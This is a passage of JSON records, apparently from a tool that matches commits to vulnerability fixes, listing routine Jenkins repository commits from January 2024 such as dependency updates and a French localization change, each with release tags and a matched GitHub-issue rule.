"" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8904", - "relevance": 2 - } - ] - }, - { - "commit_id": "419539c1fa889155cee4ea27a415bc101c64f6dc", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706468376, - "hunks": 14, - "message": "Update dependency webpack to v5.90.0 (#8906) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8906": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8906", - "relevance": 2 - } - ] - }, - { - "commit_id": "c414546f8bf856056957ff4af3208a3993db492c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706310757, - "hunks": 1, - "message": "Update dependency node to v20.11.0 (#8899) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8899": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8899", - "relevance": 2 - } - ] - }, - { - "commit_id": "8088f30d396318bf90ea30b2ec2e253dea98c25c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706276734, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:credentials from 1311.vcf0a_900b_37c2 to 1317.v0ce519a_92b_3e (#8901) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8901": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8901", - "relevance": 2 - } - ] - }, - { - "commit_id": "ae9b71cfeca9023451abf0d24a2940be3560e88c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706193632, - "hunks": 5, - "message": "[JENKINS-66677] Localize \"This folder is empty\" text (#8890) * [JENKINS-66677] Localize \"This folder is empty\" text * Apply code review suggestions Co-authored-by: Herv\u00c3\u00a9 Le Meur <91831478+lemeurherve@users.noreply.github.com> --------- Co-authored-by: Herv\u00c3\u00a9 Le Meur <91831478+lemeurherve@users.noreply.github.com>", - "changed_files": [ - "core/src/main/resources/hudson/model/AllView/noJob.groovy", - "core/src/main/resources/hudson/model/AllView/noJob.properties", - "core/src/main/resources/hudson/model/AllView/noJob_fr.properties", - "core/src/main/resources/hudson/model/Job/configure_fr.properties", - "core/src/main/resources/hudson/model/Messages_fr.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8890": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8890", - "relevance": 2 - } - ] - }, - { - "commit_id": "68131ec1826a3289b00594b881527b005d774834", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706191584, - "hunks": 354, - "message": "Upgrade transitive frontend dependencies (#8896)", - "changed_files": [ - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8896": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8896", - "relevance": 2 - } - ] - }, - { - "commit_id": "3e83c64df4de7840cb7fbbac511af83e10cc5515", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706141823, - "hunks": 11, - "message": "Update dependency stylelint-config-standard to v36 (#8805) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/src/main/scss/abstracts/_theme.scss", - "war/src/main/scss/base/_layout-commons.scss", - "war/src/main/scss/components/_side-panel-tasks.scss", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8805": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8805", - "relevance": 2 - } - ] - }, - { - "commit_id": "76d4e1eed426a39e327c31dbd8c5ccf607b74928", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706140694, - "hunks": 1, - "message": "Bump org.glassfish.tyrus.bundles:tyrus-standalone-client-jdk from 2.1.4 to 2.1.5 (#8875) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "cli/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8875": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8875", - "relevance": 2 - } - ] - }, - { - "commit_id": "5b364bc022c51914bb2fb3e279d486085c53e0fd", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706131375, - "hunks": 3, - "message": "Update dependency sortablejs to v1.15.2 (#8871) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8871": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8871", - "relevance": 2 - } - ] - }, - { - "commit_id": "d480a76706f3b7f77effc106549795fe8c994355", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706131212, - "hunks": 5, - "message": "Update dependency prettier to v3.2.4 (#8892) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/.babelrc", - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8892": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8892", - "relevance": 2 - } - ] - }, - { - "commit_id": "d982cad688a11e2a4038e3818103de25fc5153a9", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706130858, - "hunks": 15, - "message": "Update dependency stylelint to v16.2.0 (#8886) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8886": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8886", - "relevance": 2 - } - ] - }, - { - "commit_id": "702d2f206330f43297654413e5df3d4bc73c1fd0", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706130665, - "hunks": 4, - "message": "Update dependency sass to v1.70.0 (#8883) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8883": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8883", - "relevance": 2 - } - ] - }, - { - "commit_id": "8f955329ba92e57137ce8cc237d9fcd5ed1ce70d", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706130476, - "hunks": 11, - "message": "Update dependency css-loader to v6.9.1 (#8885) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8885": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8885", - "relevance": 2 - } - ] - }, - { - "commit_id": "448eccd0d3bc42d5e107c6e5c4b9e6aafb9ac613", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706130318, - "hunks": 109, - "message": "Update dependency css-minimizer-webpack-plugin to v6 (#8882) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8882": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8882", - "relevance": 2 - } - ] - }, - { - "commit_id": "178b79035e26e8d2c20d784b05866a289183fab4", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706130111, - "hunks": 6, - "message": "Update dependency postcss-loader to v8 (#8880) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8880": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8880", - "relevance": 2 - } - ] - }, - { - "commit_id": "f63866ea9a16d2ed79df3ad0a02c219cdfd18d25", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706129850, - "hunks": 6, - "message": "Update dependency sass-loader to v14 (#8877) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8877": "Merge pull request #1 from jenkinsci/master #8893" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8877", - "relevance": 2 - } - ] - }, - { - "commit_id": "788d93b49692bcb0b686c519f122a1f73f0b4ad6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706129361, - "hunks": 1, - "message": "Bump org.jenkins-ci.plugins:structs from 325.vcb_307d2a_2782 to 337.v1b_04ea_4df7c8 (#8876) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "test/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8876": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8876", - "relevance": 2 - } - ] - }, - { - "commit_id": "f6febb1cabfbe0b636861f5d688514dc49493169", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706129174, - "hunks": 5, - "message": "Update dependency prettier to v3.2.1 (#8868) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Tim Jacomb ", - "changed_files": [ - "war/.babelrc", - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8868": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8868", - "relevance": 2 - } - ] - 